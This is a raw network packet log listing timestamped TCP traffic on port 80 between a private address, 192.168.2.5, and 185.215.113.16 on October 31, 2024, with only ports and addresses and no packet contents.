Oct 31, 2024 02:08:20.426390886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.426412106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.427113056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427144051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.427145004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427164078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427201986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.427228928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427242041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427253008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427263975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427274942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427274942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.427303076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.427303076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427320957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427334070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427339077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.427346945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427367926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.427375078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427386999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427398920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427409887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427409887 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.427423000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427433968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.427437067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.427460909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.475548029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.505261898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505275011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505285025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505359888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.505489111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505506992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505530119 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.505536079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505570889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.505593061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505601883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505613089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505635023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505640030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.505676031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.505706072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505716085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505732059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505744934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505752087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.505754948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505765915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505779028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.505793095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505805016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505805016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.505829096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505832911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.505887032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505903959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505923033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.505944967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505960941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.505980015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.505981922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506017923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506021023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506077051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506115913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506128073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506139040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506166935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506174088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506177902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506187916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506208897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506238937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506249905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506261110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506270885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506275892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506282091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506299019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506306887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506318092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506326914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506329060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506365061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506375074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506386042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506412983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506450891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506462097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506472111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506486893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506489038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506500006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506510973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506515026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506537914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506560087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506570101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506592989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506594896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506606102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506623983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506629944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506634951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506664991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506675959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506686926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506696939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506710052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506748915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506774902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506786108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506798029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506808043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506825924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506833076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506851912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506877899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506889105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506915092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.506943941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506953001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.506979942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.507144928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507160902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507172108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507183075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507186890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.507215023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.507375002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507414103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.507419109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507428885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507474899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507474899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.507486105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507496119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507515907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.507572889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507584095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507594109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507612944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.507638931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.507638931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507651091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507659912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507688999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507694006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.507699013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507721901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.507796049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507806063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.507834911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.508048058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508085966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.508109093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508117914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508152962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.508162975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508173943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508183956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508203983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.508295059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508305073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508316994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508327007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508336067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.508357048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508362055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.508389950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.508418083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508543015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508574963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.508605957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508615971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508625031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508641005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.508709908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508722067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508732080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.508747101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.508770943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.536977053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.542790890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.542809963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.542821884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.542831898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.542843103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.542853117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.542884111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.542918921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.543000937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543103933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543113947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543123960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543134928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543143988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.543145895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543169975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.543185949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.543344021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543370962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543380022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543406963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.543432951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543445110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543454885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543467999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.543492079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.543797970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543926001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543936014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543946981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543956995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.543965101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.543967009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544004917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.544014931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.544545889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544558048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544568062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544603109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.544666052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544677019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544687033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544698000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544701099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.544708967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544720888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544733047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.544760942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544763088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.544773102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544801950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.544811964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544821978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544831991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544846058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.544861078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.544863939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544918060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544933081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544944048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544951916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.544955015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544965029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.544985056 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.544996023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.545120955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.545133114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.545144081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.545154095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.545182943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.545205116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.622145891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622164965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622175932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622373104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.622405052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622423887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622443914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.622528076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622546911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622558117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622565031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.622575045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622591972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622597933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.622603893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622615099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622626066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.622643948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622657061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.622742891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622752905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622764111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622775078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622776031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.622793913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622806072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.622812033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.622831106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.622989893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623002052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623019934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623028994 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623030901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623043060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623058081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623080015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623090982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623090982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623100996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623130083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623188972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623199940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623215914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623225927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623231888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623243093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623254061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623260021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623276949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623292923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623305082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623333931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623358965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623368979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623398066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623446941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623457909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623471022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623481035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623507977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623553991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623564959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623575926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623584032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623599052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623610020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623667955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623677969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623687029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623698950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623707056 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623738050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623740911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623749018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623759985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623770952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.623780966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.623809099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:20.624005079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624016047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624025106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:20.624043941 CET	80	49712	185.215.113.16	192.168.2.5
